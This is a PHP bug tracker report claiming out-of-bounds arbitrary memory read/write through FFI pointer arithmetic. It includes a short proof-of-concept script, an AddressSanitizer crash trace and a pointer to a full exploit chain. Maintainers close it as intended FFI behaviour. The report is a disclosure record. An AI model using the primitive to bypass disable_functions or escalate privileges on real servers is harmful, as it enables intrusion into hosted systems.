php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #81654 Arbitrary Address R/W due to Out-of-bound
Submitted: 2021-11-24 11:55 UTC Modified: 2021-11-24 13:58 UTC
From: ive_jihwan at zerocution dot com Assigned:
Status: Not a bug Package: FFI (PECL)
PHP Version: Irrelevant OS: Ubuntu
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: ive_jihwan at zerocution dot com
New email:
PHP Version: OS:

 

 [2021-11-24 11:55 UTC] ive_jihwan at zerocution dot com
Description:
------------
After assigning an FFI array and casting it to a pointer, there isn't any boundary check for accessing memory. The casting can be done with arithmetic operation. Furthermore, since we can obtain its address by calling FFI::cast, we can calculate the offset difference to an arbitrary point, which leads to arbitrary R/W primitives.

As in previous versions' exploitation[1], it also can be used for calling vulnerable functions by constructing a zend_execute object. Also, if the victim is using PHP version older than 8.0.12, this can be used for triggering Privilege Escalation in PHP-FPM[2] (#81026, CVE-2021-21703)

We attached the NULL dereferencing segfault as PoC for this bug report with PHP + AddressSanatizer(ASan) build on latest php-src master branch.

[1] PHP 7.4 FFI - 'disable_functions' Bypass : https://www.exploit-db.com/exploits/48655
[2] https://bugs.php.net/bug.php?id=81026

Test script:
---------------
<?php
$a = FFI::new("unsigned char[1]");
$oob = $a+0;

// Either of followings works
$oob[-FFI::cast("uint64_t", $oob)->cdata] = 1;       // same as *NULL = 1;
printf($oob[-FFI::cast("uint64_t", $oob)->cdata]);   // same as printf(*NULL);


// Fullchain exploit that spawns zend_execute is available in https://github.com/Zerocution/PoC/tree/main/PHP

Actual result:
--------------
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1517591==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x559556e2b888 bp 0x7fff1e606470 sp 0x7fff1e606390 T0)
==1517591==The signal is caused by a WRITE memory access.
==1517591==Hint: address points to the zero page.
    #0 0x559556e2b887 in zend_ffi_zval_to_cdata /home/sqrtrev/php-src/ext/ffi/ffi.c:702
    #1 0x559556e30273 in zend_ffi_cdata_write_dim /home/sqrtrev/php-src/ext/ffi/ffi.c:1375
    #2 0x559557419d35 in zend_assign_to_object_dim /home/sqrtrev/php-src/Zend/zend_execute.c:1385
    #3 0x559557557f96 in ZEND_ASSIGN_DIM_SPEC_CV_TMPVAR_OP_DATA_CONST_HANDLER /home/sqrtrev/php-src/Zend/zend_vm_execute.h:44521
    #4 0x5595575913fb in execute_ex /home/sqrtrev/php-src/Zend/zend_vm_execute.h:58508
    #5 0x5595575937b3 in zend_execute /home/sqrtrev/php-src/Zend/zend_vm_execute.h:59037
    #6 0x5595573a3662 in zend_execute_scripts /home/sqrtrev/php-src/Zend/zend.c:1744
    #7 0x559557236eac in php_execute_script /home/sqrtrev/php-src/main/main.c:2534
    #8 0x55955776b97e in do_cli /home/sqrtrev/php-src/sapi/cli/php_cli.c:965
    #9 0x55955776dc07 in main /home/sqrtrev/php-src/sapi/cli/php_cli.c:1367
    #10 0x7f3585e140b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #11 0x559556c0199d in _start (/home/sqrtrev/php-src/zerocution/bin/php+0x40199d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/sqrtrev/php-src/ext/ffi/ffi.c:702 in zend_ffi_zval_to_cdata
==1517591==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-11-24 13:11 UTC] cmb@php.net
Yes, that is certainly possible, but unlikely to be fixed,
since[1]:

| FFI is dangerous, since it allows to interface with the system
| on a very low level. The FFI extension should only be used by
| developers having a working knowledge of C and the used C APIs. To
| minimize the risk, the FFI API usage may be restricted with the
| ffi.enable php.ini directive.

And yes, definitely not a security issue[2]:

| requires the use of FFI

[1] <https://www.php.net/manual/en/intro.ffi.php>
[2] <https://wiki.php.net/security#not_a_security_issue>
 [2021-11-24 13:58 UTC] nikic@php.net
-Status: Open +Status: Not a bug
 [2021-11-24 13:58 UTC] nikic@php.net
This is not just "unlikely to be fixed", there is no bug here at all. Yes, FFI allows you to read and write arbitrary memory, and that is very much intentional.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 12:01:31 2024 UTC